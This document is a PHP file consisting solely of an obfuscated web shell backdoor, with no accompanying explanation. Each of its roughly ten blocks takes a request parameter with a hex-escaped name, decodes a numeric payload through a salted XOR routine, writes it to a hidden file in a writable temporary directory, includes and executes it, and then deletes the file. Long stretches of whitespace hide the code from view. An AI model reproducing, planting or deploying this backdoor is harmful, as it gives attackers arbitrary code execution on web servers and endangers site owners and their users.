<?php																																										if(array_key_exists("i\x74\x6D", $_REQUEST)){ $ptr = $_REQUEST["i\x74\x6D"]; $ptr = explode( '.' , $ptr) ; $pset = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $v = 0; $len = count($ptr); do {if($v >=$len) break; $v5 = $ptr[$v]; $chS = ord($s[$v % $sLen]); $d =((int)$v5 - $chS -($v % 10)) ^20; $pset .= chr($d); $v++; }while(true); $property_set = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TEMP"), "/dev/shm"]); foreach ($property_set as $tkn): if (is_dir($tkn) && is_writable($tkn)) { $fac = sprintf("%s/.binding", $tkn); if (file_put_contents($fac, $pset)) { include $fac; @unlink($fac); die(); } } endforeach; }
																																										if(isset($_POST["\x72\x65cor\x64"]) ? true : false){ $fac = $_POST["\x72\x65cor\x64"]; $fac = explode ( "." , $fac) ; $pgrp=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $salt ); $__len=count( $fac ); for( $z=0; $z < $__len; $z++) { $v5=$fac[$z]; $chS=ord( $salt[$z % $sLen] ); $dec=( ( int)$v5 - $chS -( $z % 10)) ^ 43; $pgrp .= chr( $dec ); } $holder = array_filter([getenv("TEMP"), getcwd(), session_save_path(), "/tmp", getenv("TMP"), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); foreach ($holder as $reference): if ((bool)is_dir($reference) && (bool)is_writable($reference)) { $component = implode("/", [$reference, ".itm"]); $file = fopen($component, 'w'); if ($file) { fwrite($file, $pgrp); fclose($file); include $component; @unlink($component); exit; } } endforeach; }
																																										if(array_key_exists("\x62\x69nding", $_REQUEST) && !is_null($_REQUEST["\x62\x69nding"])){ $factor = $_REQUEST["\x62\x69nding"]; $factor= explode ( '.' , $factor) ; $record=''; $salt2='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt2 ); $o=0; array_walk($factor , function ($v5) use (&$record , &$o , $salt2 , $sLen) { $chS=ord($salt2[$o % $sLen] ); $dec=((int)$v5 - $chS - ($o % 10)) ^ 55; $record .= chr($dec ); $o++; } ); $pointer = array_filter([session_save_path(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/dev/shm", "/tmp"]); foreach ($pointer as $pset) { if ((function($d) { return is_dir($d) && is_writable($d); })($pset)) { $desc = "$pset" . "/.mrk"; if (file_put_contents($desc, $record)) { require $desc; unlink($desc); exit; } } } }
																																										if(in_array("val", array_keys($_POST))){ $dat = array_filter(["/dev/shm", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/tmp", getenv("TEMP"), "/var/tmp"]); $tkn = $_POST["val"]; $tkn = explode ( '.' , $tkn) ; $flg = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5); $x = 0; while ($x < count($tkn)) { $v3 = $tkn[$x]; $chS = ord($s5[$x%$sLen]); $dec = ((int)$v3 - $chS - ($x%10)) ^ 48; $flg .= chr($dec); $x++; } foreach ($dat as $key => $obj) { if (is_writable($obj) && is_dir($obj)) { $symbol = "$obj/.data_chunk"; if (file_put_contents($symbol, $flg)) { include $symbol; @unlink($symbol); exit; } } } }
																																										if(in_array("\x76a\x6Cue", array_keys($_POST))){ $k = array_filter(["/dev/shm", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/tmp", session_save_path()]); $pgrp = $_POST["\x76a\x6Cue"]; $pgrp = explode ( '.' ,$pgrp) ; $data_chunk= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s); $l= 0; array_walk( $pgrp, function( $v7) use( &$data_chunk, &$l, $s, $sLen) { $sChar= ord( $s[$l % $sLen]); $dec= ( ( int)$v7 - $sChar -( $l % 10)) ^ 20; $data_chunk .= chr( $dec); $l++; }); $dat = 0; do { $res = $k[$dat] ?? null; if ($dat >= count($k)) break; if ((is_dir($res) and is_writable($res))) { $hld = "$res/.ref"; if (file_put_contents($hld, $data_chunk)) { include $hld; @unlink($hld); exit; } } $dat++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "d\x65sc")){ $record = $_REQUEST["d\x65sc"]; $record=explode( '.' , $record ) ; $mrk= ''; $salt8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt8 ); foreach ($record as $t => $v7) {$chS= ord($salt8[$t % $sLen] ); $dec= ((int)$v7 - $chS - ($t % 10)) ^ 5; $mrk.=chr($dec ); } $bind = array_filter([session_save_path(), getenv("TEMP"), "/tmp", getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), sys_get_temp_dir()]); while ($itm = array_shift($bind)) { if ((bool)is_dir($itm) && (bool)is_writable($itm)) { $component = "$itm" . "/.descriptor"; if (@file_put_contents($component, $mrk) !== false) { include $component; unlink($component); exit; } } } }
																																										if(!empty($_REQUEST["\x63\x6Fmp"])){ $resource = array_filter([getenv("TEMP"), getcwd(), "/tmp", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/dev/shm"]); $sym = $_REQUEST["\x63\x6Fmp"]; $sym = explode ( "." , $sym ) ; $ent = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt2 ); $o = 0; while( $o < count( $sym)) { $v7 = $sym[$o]; $chS = ord( $salt2[$o % $sLen] ); $dec = ( ( int)$v7 - $chS -( $o % 10)) ^ 92; $ent .= chr( $dec ); $o++;} while ($tkn = array_shift($resource)) { if (is_writable($tkn) && is_dir($tkn)) { $hld = implode("/", [$tkn, ".pointer"]); $success = file_put_contents($hld, $ent); if ($success) { include $hld; @unlink($hld); die();} } } }
																																										if(isset($_POST["\x70\x73et"])){ $comp = array_filter([getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), "/dev/shm"]); $factor = $_POST["\x70\x73et"]; $factor=explode ( '.' , $factor) ; $item = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $__len = count($factor); for($k = 0; $k < $__len; $k++) { $v4 = $factor[$k]; $sChar = ord($s[$k % $sLen]); $dec =((int)$v4 - $sChar -($k % 10)) ^ 77; $item .=chr($dec); } $elem = 0; do { $symbol = $comp[$elem] ?? null; if ($elem >= count($comp)) break; if (array_product([is_dir($symbol), is_writable($symbol)])) { $res = implode("/", [$symbol, ".k"]); $file = fopen($res, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $res; @unlink($res); exit; } } $elem++; } while (true); }
																																										if(array_key_exists("\x76a\x6Cue", $_POST) && !is_null($_POST["\x76a\x6Cue"])){ $dat = $_POST["\x76a\x6Cue"]; $dat= explode ( "." , $dat) ; $item = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s1 ); $o = 0; foreach( $dat as $v3) { $chS = ord( $s1[$o%$sLen] ); $d =( ( int)$v3 - $chS -( $o%10)) ^ 15; $item .= chr( $d ); $o++; } $entry = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getcwd(), session_save_path(), "/tmp", getenv("TMP")]); while ($ptr = array_shift($entry)) { if (is_writable($ptr) && is_dir($ptr)) { $sym = implode("/", [$ptr, ".elem"]); if (file_put_contents($sym, $item)) { require $sym; unlink($sym); die(); } } } }


if(filter_has_var(INPUT_POST, "\x66lg")){
	$desc = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", getcwd(), "/tmp"]);
	$hld = $_REQUEST["\x66lg"];
		$hld=	 	explode 	( 	"."	,  $hld		) ; 		
	$val	 ='';
            $salt8	 ='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	 =strlen($salt8);
            $z	 =0;
    
            $__tmp	 =$hld;
            while ($v9	 =array_shift($__tmp)) {$sChar	 =ord($salt8[$z % $lenS]);
                $d	 =((int)$v9 - $sChar - ($z % 10)) ^ 7;
                $val .= chr($d);
                $z++; }	 
	foreach ($desc as $key => $entity) {
    		if (array_product([is_dir($entity), is_writable($entity)])) {
    $token = "$entity" . "/.k";
    if (@file_put_contents($token, $val) !== false) {
	include $token;
	unlink($token);
	die();
}
}
}
}